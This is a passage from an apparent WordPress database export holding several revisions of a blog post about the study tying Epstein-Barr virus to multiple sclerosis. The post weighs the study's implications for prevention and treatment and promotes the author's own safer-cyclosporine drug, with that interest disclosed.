mononucleosis, chronic fatigue syndrome, and <a href=\"https://en.wikipedia.org/wiki/Epstein%E2%80%93Barr_virus#Role_in_disease\">some rare autoimmune conditions</a>. So, now we know for sure that EBV is really bad, whereas before we just knew it was quite bad. That may make a greater economic incentive to develop a vaccine, but it’s hard to say by how much.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://media.istockphoto.com/photos/debating-politicians-picture-id171153066?k=20&amp;m=171153066&amp;s=612x612&amp;w=0&amp;h=cJ5ABskevt5_q5RrKY8dj2FIYJLiC_jIAwksr7Nx29s=\" alt=\"1,063 Politicians Arguing Stock Photos, Pictures &amp; Royalty-Free Images -  iStock\"/><figcaption>\"Now I was on board for $80 billion to bomb weddings in Pakistan, but $500k for an EBV vaccine will bankrupt us! We can\'t afford that!\"</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So that leaves us with the last point, that this study might change how we treat MS. This is what the study itself seems to point towards, when it points out that anti-CD20 monoclonal antibodies are already known as effective treatments for MS and that they deplete circulating B cells, which is where EBV hides. They also suggest that EBV antivirals might be a treatment for MS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s where things get a little dicey, though. The authors overstep when they say that anti-CD20 monoclonal antibodies are effective treatments for MS. They’re reasonably effective treatments for a certain type of MS, relapsing remitting MS (RRMS). Now, around <a href=\"https://pubmed.ncbi.nlm.nih.gov/30368080/\">75% of people with MS have RRMS</a>, so it is the most common form of MS by far. But, once we start drilling into the other forms of MS and the times when these treatments don’t work, we can get a better sense of the issue with coming up with better forms of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s always a clash between our neat model of how a disease works and how it actually works in the body. In the EBV-MS paper and <a href=\"https://www.science.org/doi/10.1126/science.abm7930\">its companion commentary</a>, the authors give a neat model of MS that goes like the following: EBV viral protein sequences look like some of the protein sequences of myelin, the insulating sheath that covers neurons. When B cells learn to attack EBV, they occasionally also accidentally learn to attack myelin sheaths. As neurons live in the brian, B cells also become adept at crossing over the blood-brain barrier to attack these myelin sheaths, and then the neurons themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This model has some experimental evidence. But, if you just follow this model, you would be left with the misleading impression that there’s a one way street: EBV infection leads to B cell sensitization leads to myelin sheath destruction leads to neuron death. This is not the case at all. Not only do the vast majority of EBV infections not lead to MS, but the majority of MS cases don’t end up in this one way street sort of scenario. The majority of MS cases are, as mentioned, <em>relapsing remitting</em>: they spend most of their time feeling ok, and then, a few times a year, they feel terrible, as their immune system decides to attack their myelin sheaths again.&nbsp; Only a minority of cases get progressively worse over time, which is called progressive MS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the opposite of what you would expect based on the model outlined above. More importantly, when we get down to the essential issue of “how do we treat MS”, <a href=\"https://journals.sagepub.com/doi/full/10.1177/1352458517751049\">the only people who are amenable to treatments that deplete B cells are the RRMS people</a>, which is, again, the opposite of what you’d expect. Even those treatments don’t work perfectly, though. They can halve the number of MS attacks, but they can’t stop them completely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For people with progessive MS, there are currently no great treatments, although I have reasons to believe my company’s lead drug might be a good one [2]. This doesn’t fit in with the model of MS outlined in the paper at all, and also makes you wonder about why EBV leads to RRMS in most people and progressive MS in others, assuming that it is behind both kinds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, once again, we have to ask: now what? In the past, epidemiological studies have led us to better water sanitation, smoking restrictions, and pesticide bans. Those were studies with some teeth to them. But for this study, we just have to look at it and say, “Neat”, then put it out of our minds. It’s a pity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] In America, around <a href=\"https://www.cdc.gov/epstein-barr/about-ebv.html\">90% of people</a> have had EBV by the time they reach adulthood. If this seems surprising to you, keep in mind that if you’ve ever been in close contact with someone who developed mono, you almost certainly had EBV. Meanwhile, only <a href=\"https://n.neurology.org/content/92/10/e1029\">0.3% of adults have MS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the challenge of this study was to prove that this super common virus is a necessary, but not sufficient condition for developing MS. But how do you do that if almost everyone gets EBV eventually?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, the first way they did it was to look at a bunch of blood serum samples collected over decades of an adult’s life in the hopes that it would capture before and after they got EBV, in the hopes that it would reveal MS developing after EBV. In this study, those samples were collected from military personnel, who normally get their blood samples at around age 18. Lo and behold, of the 801 military MS cases with serum samples, only 1 developed MS before developing EBV. The rest developed MS 0-10 years after getting EBV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s already pretty suggestive. But, it leaves open the possibility that people just tend to get infected with EBV when they’re younger, and get MS when they’re older. So, the authors’ second piece of evidence was based on the percentage of people who get exposed to EBV versus the percentage of people who develop antibodies to it. They found that only 57% of the non-MS controls who were exposed to EBV developed antibodies (seroconverted), while 97% of the MS cases developed antibodies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given that the authors have a good argument as to why antibodies to EBV are the mechanism by which EBV causes MS (which I talk about elsewhere), this seems like some solid proof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] This is a big claim, but I have evidence!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My company’s lead drug is a safer version of cyclosporine. Cyclosporine is a potent immunosuppressant that’s notoriously hard to dose correctly, and overdoses are extremely common.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Multiple sclerosis has long been suspected to be an immune-related disease. As such, pretty much every kind of immunosuppressant has been thrown at MS at one point or another. As such, cyclosporine has been thrown at every kind of MS at one point or another.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Unfortunately, cyclosporine does not work that well in RRMS. It works ok, but not as well as the other drugs and it’s a lot more dangerous. However, what’s interesting is that when they tried it in progressive MS, <a href=\"https://doi.org/10.1002/ana.410270603\">it actually worked ok</a>, halving the average annual increase in disability score (EDSS). This never ended up being put into clinical practice, though, because of how common severe side effects are for patients on cyclosporine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My contention is that my version of cyclosporine is way safer than the old version of cyclosporine tested. So, you can get all the benefits with way fewer of the side effects. I’m currently raising money to test this so…wish me luck!</p>\n<!-- /wp:paragraph -->','EBV causes multiple sclerosis. So what?','','publish','closed','closed','','ebv-causes-multiple-sclerosis-so-what','','','2022-02-08 05:01:18','2022-02-08 05:01:18','',0,'https://trevorklee.com/?page_id=263',0,'page','',0),
(264,1,'2022-02-07 22:07:50','2022-02-07 22:07:50','{\"version\": 2, \"isGlobalStylesUserThemeJSON\": true }','Custom Styles','','publish','closed','closed','','wp-global-styles-twentytwentyone','','','2022-02-07 22:07:50','2022-02-07 22:07:50','',0,'https://trevorklee.com/2022/02/07/wp-global-styles-twentytwentyone/',0,'wp_global_styles','',0),
(265,1,'2022-02-07 22:12:28','2022-02-07 22:12:28','<!-- wp:paragraph -->\n<p>The recent “<a href=\"https://www.science.org/doi/10.1126/science.abj8222\">Epstein-Barr virus causes multiple sclerosis study</a>” is very cool and a model for future epidemiological studies. First, it very strongly suggests that the Epstein-Barr virus (EBV) is behind at least a majority of multiple sclerosis (MS) cases in the US, which is a big deal for a condition which has long had mysterious origins. Also, it proved a causative effect with one very common infection and one relatively rare neurological condition, which is difficult on both counts (for details on how they did this, check footnote [1]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I’d like to applaud this study. I’d also like to ask, “So what?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t mean to be rude. It really is a cool study, and maybe it doesn’t need a follow-up. Maybe it can just stand on its own, like a cool prog-rock album.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://www.udiscovermusic.com/wp-content/uploads/2020/09/Best-Prog-Rock-Albums.jpg\" alt=\"The 50 Greatest Prog Rock Albums Of All Time | uDiscover\"/><figcaption>Top Google result for \"cool prog-rock album\".</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But if we did want to follow it up, we’d probably want to follow it up along one of these lines:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Changing how we think about preventing MS</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Changing how we think about the importance of preventing EBV</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Changing how we treat MS</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s difficult to know how we’d start with any of these. Let’s start with the top of the list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This study firmly established that EBV is a necessary condition for at least most MS. Or, in other words, while it’s unlikely you’ll get MS at all, it’s very unlikely you’ll get MS without getting antibodies to EBV first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t entirely surprising. Not only had these authors done <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/ana.21978\">a suggestive preliminary study with the same data in 2010</a>, we’ve long known that infectious mononucleosis, a manifestation of EBV, is <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/ana.20820\">a major risk factor for MS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More importantly, however, we don’t know the rest of the factors that contribute to MS. <a href=\"https://www.cdc.gov/epstein-barr/about-ebv.html\">90% of adults in the US have had EBV</a>, while only <a href=\"https://n.neurology.org/content/92/10/e1029\">0.3% of adults have MS</a>. There must be other factors that make those 0.3% get MS while the other 89.7% do not, but it’s unclear what they are.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the only way we could really change how we prevent MS is by doing something like preventing infection from EBV. While this is a tall order, given <a href=\"https://en.wikipedia.org/wiki/Epstein%E2%80%93Barr_virus_vaccine\">the failures we’ve had in vaccinating against EBV</a> so far, we might be able to argue that we now have a stronger reason than before to look for the vaccine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I say might because we already knew that EBV was bad. Not only did we think it might contribute to MS, there’s also evidence linking it to over <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7462312/\">200,000 cases of cancer each year</a>, mononucleosis, chronic fatigue syndrome, and <a href=\"https://en.wikipedia.org/wiki/Epstein%E2%80%93Barr_virus#Role_in_disease\">some rare autoimmune conditions</a>. So, now we know for sure that EBV is really bad, whereas before we just knew it was quite bad. That may make a greater economic incentive to develop a vaccine, but it’s hard to say by how much.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://media.istockphoto.com/photos/debating-politicians-picture-id171153066?k=20&amp;m=171153066&amp;s=612x612&amp;w=0&amp;h=cJ5ABskevt5_q5RrKY8dj2FIYJLiC_jIAwksr7Nx29s=\" alt=\"1,063 Politicians Arguing Stock Photos, Pictures &amp; Royalty-Free Images -  iStock\"/><figcaption>\"Now I was on board for $80 billion to bomb weddings in Pakistan, but $500k for an EBV vaccine will bankrupt us! We can\'t afford that!\"</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So that leaves us with the last point, that this study might change how we treat MS. This is what the study itself seems to point towards, when it points out that anti-CD20 monoclonal antibodies are already known as effective treatments for MS and that they deplete circulating B cells, which is where EBV hides. They also suggest that EBV antivirals might be a treatment for MS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s where things get a little dicey, though. The authors overstep when they say that anti-CD20 monoclonal antibodies are effective treatments for MS. They’re reasonably effective treatments for a certain type of MS, relapsing remitting MS (RRMS). Now, around <a href=\"https://pubmed.ncbi.nlm.nih.gov/30368080/\">75% of people with MS have RRMS</a>, so it is the most common form of MS by far. But, once we start drilling into the other forms of MS and the times when these treatments don’t work, we can get a better sense of the issue with coming up with better forms of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s always a clash between our neat model of how a disease works and how it actually works in the body. In the EBV-MS paper and <a href=\"https://www.science.org/doi/10.1126/science.abm7930\">its companion commentary</a>, the authors give a neat model of MS that goes like the following: EBV viral protein sequences look like some of the protein sequences of myelin, the insulating sheath that covers neurons. When B cells learn to attack EBV, they occasionally also accidentally learn to attack myelin sheaths. As neurons live in the brian, B cells also become adept at crossing over the blood-brain barrier to attack these myelin sheaths, and then the neurons themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This model has some experimental evidence. But, if you just follow this model, you would be left with the misleading impression that there’s a one way street: EBV infection leads to B cell sensitization leads to myelin sheath destruction leads to neuron death. This is not the case at all. Not only do the vast majority of EBV infections not lead to MS, but the majority of MS cases don’t end up in this one way street sort of scenario. The majority of MS cases are, as mentioned, <em>relapsing remitting</em>: they spend most of their time feeling ok, and then, a few times a year, they feel terrible, as their immune system decides to attack their myelin sheaths again.&nbsp; Only a minority of cases get progressively worse over time, which is called progressive MS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the opposite of what you would expect based on the model outlined above. More importantly, when we get down to the essential issue of “how do we treat MS”, <a href=\"https://journals.sagepub.com/doi/full/10.1177/1352458517751049\">the only people who are amenable to treatments that deplete B cells are the RRMS people</a>, which is, again, the opposite of what you’d expect. Even those treatments don’t work perfectly, though. They can halve the number of MS attacks, but they can’t stop them completely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For people with progessive MS, there are currently no great treatments, although I have reasons to believe my company’s lead drug might be a good one [2]. This doesn’t fit in with the model of MS outlined in the paper at all, and also makes you wonder about why EBV leads to RRMS in most people and progressive MS in others, assuming that it is behind both kinds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, once again, we have to ask: now what? In the past, epidemiological studies have led us to better water sanitation, smoking restrictions, and pesticide bans. Those were studies with some teeth to them. But for this study, we just have to look at it and say, “Neat”, then put it out of our minds. It’s a pity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] In America, around <a href=\"https://www.cdc.gov/epstein-barr/about-ebv.html\">90% of people</a> have had EBV by the time they reach adulthood. If this seems surprising to you, keep in mind that if you’ve ever been in close contact with someone who developed mono, you almost certainly had EBV. Meanwhile, only <a href=\"https://n.neurology.org/content/92/10/e1029\">0.3% of adults have MS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the challenge of this study was to prove that this super common virus is a necessary, but not sufficient condition for developing MS. But how do you do that if almost everyone gets EBV eventually?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, the first way they did it was to look at a bunch of blood serum samples collected over decades of an adult’s life in the hopes that it would capture before and after they got EBV, in the hopes that it would reveal MS developing after EBV. In this study, those samples were collected from military personnel, who normally get their blood samples at around age 18. Lo and behold, of the 801 military MS cases with serum samples, only 1 developed MS before developing EBV. The rest developed MS 0-10 years after getting EBV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s already pretty suggestive. But, it leaves open the possibility that people just tend to get infected with EBV when they’re younger, and get MS when they’re older. So, the authors’ second piece of evidence was based on the percentage of people who get exposed to EBV versus the percentage of people who develop antibodies to it. They found that only 57% of the non-MS controls who were exposed to EBV developed antibodies (seroconverted), while 97% of the MS cases developed antibodies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given that the authors have a good argument as to why antibodies to EBV are the mechanism by which EBV causes MS (which I talk about elsewhere), this seems like some solid proof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] This is a big claim, but I have evidence!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My company’s lead drug is a safer version of cyclosporine. Cyclosporine is a potent immunosuppressant that’s notoriously hard to dose correctly, and overdoses are extremely common.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Multiple sclerosis has long been suspected to be an immune-related disease. As such, pretty much every kind of immunosuppressant has been thrown at MS at one point or another. As such, cyclosporine has been thrown at every kind of MS at one point or another.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Unfortunately, cyclosporine does not work that well in RRMS. It works ok, but not as well as the other drugs and it’s a lot more dangerous. However, what’s interesting is that when they tried it in progressive MS, <a href=\"https://doi.org/10.1002/ana.410270603\">it actually worked ok</a>, halving the average annual increase in disability score (EDSS). This never ended up being put into clinical practice, though, because of how common severe side effects are for patients on cyclosporine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My contention is that my version of cyclosporine is way safer than the old version of cyclosporine tested. So, you can get all the benefits with way fewer of the side effects. I’m currently raising money to test this so…wish me luck!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The recent “<a href=\"https://www.science.org/doi/10.1126/science.abj8222\">Epstein-Barr virus causes multiple sclerosis study</a>” is very cool and a model for future epidemiological studies. First, it very strongly suggests that the Epstein-Barr virus (EBV) is behind at least a majority of multiple sclerosis (MS) cases in the US, which is a big deal for a condition which has long had mysterious origins. Also, it proved a causative effect with one very common infection and one relatively rare neurological condition, which is difficult on both counts (for details on how they did this, check footnote [1]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I’d like to applaud this study. I’d also like to ask, “So what?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t mean to be rude. It really is a cool study, and maybe it doesn’t need a follow-up. Maybe it can just stand on its own, like a cool prog-rock album.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if we did want to follow it up, we’d probably want to follow it up along one of these lines:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Changing how we think about preventing MS</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Changing how we think about the importance of preventing EBV</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Changing how we treat MS</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s difficult to know how we’d start with any of these. Let’s start with the top of the list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This study firmly established that EBV is a necessary condition for at least most MS. Or, in other words, while it’s unlikely you’ll get MS at all, it’s very unlikely you’ll get MS without getting antibodies to EBV first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t entirely surprising. Not only had these authors done <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/ana.21978\">a suggestive preliminary study with the same data in 2010</a>, we’ve long known that infectious mononucleosis, a manifestation of EBV, is <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/ana.20820\">a major risk factor for MS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More importantly, however, we don’t know the rest of the factors that contribute to MS. <a href=\"https://www.cdc.gov/epstein-barr/about-ebv.html\">90% of adults in the US have had EBV</a>, while only <a href=\"https://n.neurology.org/content/92/10/e1029\">0.3% of adults have MS</a>. There must be other factors that make those 0.3% get MS while the other 89.7% do not, but it’s unclear what they are.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the only way we could really change how we prevent MS is by doing something like preventing infection from EBV. While this is a tall order, given <a href=\"https://en.wikipedia.org/wiki/Epstein%E2%80%93Barr_virus_vaccine\">the failures we’ve had in vaccinating against EBV</a> so far, we might be able to argue that we now have a stronger reason than before to look for the vaccine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I say might because we already knew that EBV was bad. Not only did we think it might contribute to MS, there’s also evidence linking it to over <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7462312/\">200,000 cases of cancer each year</a>, mononucleosis, chronic fatigue syndrome, and <a href=\"https://en.wikipedia.org/wiki/Epstein%E2%80%93Barr_virus#Role_in_disease\">some rare autoimmune conditions</a>. So, now we know for sure that EBV is really bad, whereas before we just knew it was quite bad. That may make a greater economic incentive to develop a vaccine, but it’s hard to say by how much.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So that leaves us with the last point, that this study might change how we treat MS. This is what the study itself seems to point towards, when it points out that anti-CD20 monoclonal antibodies are already known as effective treatments for MS and that they deplete circulating B cells, which is where EBV hides. They also suggest that EBV antivirals might be a treatment for MS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s where things get a little dicey, though. The authors overstep when they say that anti-CD20 monoclonal antibodies are effective treatments for MS. They’re reasonably effective treatments for a certain type of MS, relapsing remitting MS (RRMS). Now, around <a href=\"https://pubmed.ncbi.nlm.nih.gov/30368080/\">75% of people with MS have RRMS</a>, so it is the most common form of MS by far. But, once we start drilling into the other forms of MS and the times when these treatments don’t work, we can get a better sense of the issue with coming up with better forms of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s always a clash between our neat model of how a disease works and how it actually works in the body. In the EBV-MS paper and <a href=\"https://www.science.org/doi/10.1126/science.abm7930\">its companion commentary</a>, the authors give a neat model of MS that goes like the following: EBV viral protein sequences look like some of the protein sequences of myelin, the insulating sheath that covers neurons. When B cells learn to attack EBV, they occasionally also accidentally learn to attack myelin sheaths. As neurons live in the brian, B cells also become adept at crossing over the blood-brain barrier to attack these myelin sheaths, and then the neurons themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This model has some experimental evidence. But, if you just follow this model, you would be left with the misleading impression that there’s a one way street: EBV infection leads to B cell sensitization leads to myelin sheath destruction leads to neuron death. This is not the case at all. Not only do the vast majority of EBV infections not lead to MS, but the majority of MS cases don’t end up in this one way street sort of scenario. The majority of MS cases are, as mentioned, <em>relapsing remitting</em>: they spend most of their time feeling ok, and then, a few times a year, they feel terrible, as their immune system decides to attack their myelin sheaths again.&nbsp; Only a minority of cases get progressively worse over time, which is called progressive MS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the opposite of what you would expect based on the model outlined above. More importantly, when we get down to the essential issue of “how do we treat MS”, <a href=\"https://journals.sagepub.com/doi/full/10.1177/1352458517751049\">the only people who are amenable to treatments that deplete B cells are the RRMS people</a>, which is, again, the opposite of what you’d expect. Even those treatments don’t work perfectly, though. They can halve the number of MS attacks, but they can’t stop them completely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For people with progessive MS, there are currently no great treatments, although I have reasons to believe my company’s lead drug might be a good one [2]. This doesn’t fit in with the model of MS outlined in the paper at all, and also makes you wonder about why EBV leads to RRMS in most people and progressive MS in others, assuming that it is behind both kinds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, once again, we have to ask: now what? In the past, epidemiological studies have led us to better water sanitation, smoking restrictions, and pesticide bans. Those were studies with some teeth to them. But for this study, we just have to look at it and say, “Neat”, then put it out of our minds. It’s a pity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] In America, around <a href=\"https://www.cdc.gov/epstein-barr/about-ebv.html\">90% of people</a> have had EBV by the time they reach adulthood. If this seems surprising to you, keep in mind that if you’ve ever been in close contact with someone who developed mono, you almost certainly had EBV. Meanwhile, only <a href=\"https://n.neurology.org/content/92/10/e1029\">0.3% of adults have MS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the challenge of this study was to prove that this super common virus is a necessary, but not sufficient condition for developing MS. But how do you do that if almost everyone gets EBV eventually?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, the first way they did it was to look at a bunch of blood serum samples collected over decades of an adult’s life in the hopes that it would capture before and after they got EBV, in the hopes that it would reveal MS developing after EBV. In this study, those samples were collected from military personnel, who normally get their blood samples at around age 18. Lo and behold, of the 801 military MS cases with serum samples, only 1 developed MS before developing EBV. The rest developed MS 0-10 years after getting EBV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s already pretty suggestive. But, it leaves open the possibility that people just tend to get infected with EBV when they’re younger, and get MS when they’re older. So, the authors’ second piece of evidence was based on the percentage of people who get exposed to EBV versus the percentage of people who develop antibodies to it. They found that only 57% of the non-MS controls who were exposed to EBV developed antibodies (seroconverted), while 97% of the MS cases developed antibodies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given that the authors have a good argument as to why antibodies to EBV are the mechanism by which EBV causes MS (which I talk about elsewhere), this seems like some solid proof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] This is a big claim, but I have evidence!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My company’s lead drug is a safer version of cyclosporine. Cyclosporine is a potent immunosuppressant that’s notoriously hard to dose correctly, and overdoses are extremely common.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Multiple sclerosis has long been suspected to be an immune-related disease. As such, pretty much every kind of immunosuppressant has been thrown at MS at one point or another. As such, cyclosporine has been thrown at every kind of MS at one point or another.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Unfortunately, cyclosporine does not work that well in RRMS. It works ok, but not as well as the other drugs and it’s a lot more dangerous. However, what’s interesting is that when they tried it in progressive MS, <a href=\"https://doi.org/10.1002/ana.410270603\">it actually worked ok</a>, halving the average annual increase in disability score (EDSS). This never ended up being put into clinical practice, though, because of how common severe side effects are for patients on cyclosporine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My contention is that my version of cyclosporine is way safer than the old version of cyclosporine tested. So, you can get all the benefits with way fewer of the side effects. I’m currently raising money to test this so…wish me luck!</p>\n<!-- /wp:paragraph -->','EBV causes multiple sclerosis. So what?','','inherit','closed','closed','','263-revision-v1','','','2022-02-07 22:12:28','2022-02-07 22:12:28','',263,'https://trevorklee.com/?p=265',0,'revision','',0),
(267,1,'2022-02-07 22:30:37','2022-02-07 22:30:37','<!-- wp:paragraph -->\n<p><em>If you like this post and want to see more, <a href=\"https://trevorklee.substack.com/\">subscribe to my Substack</a>.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The recent “<a href=\"https://www.science.org/doi/10.1126/science.abj8222\">Epstein-Barr virus causes multiple sclerosis study</a>” is very cool and a model for future epidemiological studies. First, it very strongly suggests that the Epstein-Barr virus (EBV) is behind at least a majority of multiple sclerosis (MS) cases in the US, which is a big deal for a condition which has long had mysterious origins. Also, it proved a causative effect with one very common infection and one relatively rare neurological condition, which is difficult on both counts (for details on how they did this, check footnote [1]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I’d like to applaud this study. I’d also like to ask, “So what?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t mean to be rude. It really is a cool study, and maybe it doesn’t need a follow-up. Maybe it can just stand on its own, like a cool prog-rock album.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://www.udiscovermusic.com/wp-content/uploads/2020/09/Best-Prog-Rock-Albums.jpg\" alt=\"The 50 Greatest Prog Rock Albums Of All Time | uDiscover\"/><figcaption>Top Google result for \"cool prog-rock album\".</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But if we did want to follow it up, we’d probably want to follow it up along one of these lines:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Changing how we think about preventing MS</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Changing how we think about the importance of preventing EBV</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Changing how we treat MS</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s difficult to know how we’d start with any of these. Let’s start with the top of the list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This study firmly established that EBV is a necessary condition for at least most MS. Or, in other words, while it’s unlikely you’ll get MS at all, it’s very unlikely you’ll get MS without getting antibodies to EBV first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t entirely surprising. Not only had these authors done <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/ana.21978\">a suggestive preliminary study with the same data in 2010</a>, we’ve long known that infectious mononucleosis, a manifestation of EBV, is <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/ana.20820\">a major risk factor for MS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More importantly, however, we don’t know the rest of the factors that contribute to MS. <a href=\"https://www.cdc.gov/epstein-barr/about-ebv.html\">90% of adults in the US have had EBV</a>, while only <a href=\"https://n.neurology.org/content/92/10/e1029\">0.3% of adults have MS</a>. There must be other factors that make those 0.3% get MS while the other 89.7% do not, but it’s unclear what they are.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the only way we could really change how we prevent MS is by doing something like preventing infection from EBV. 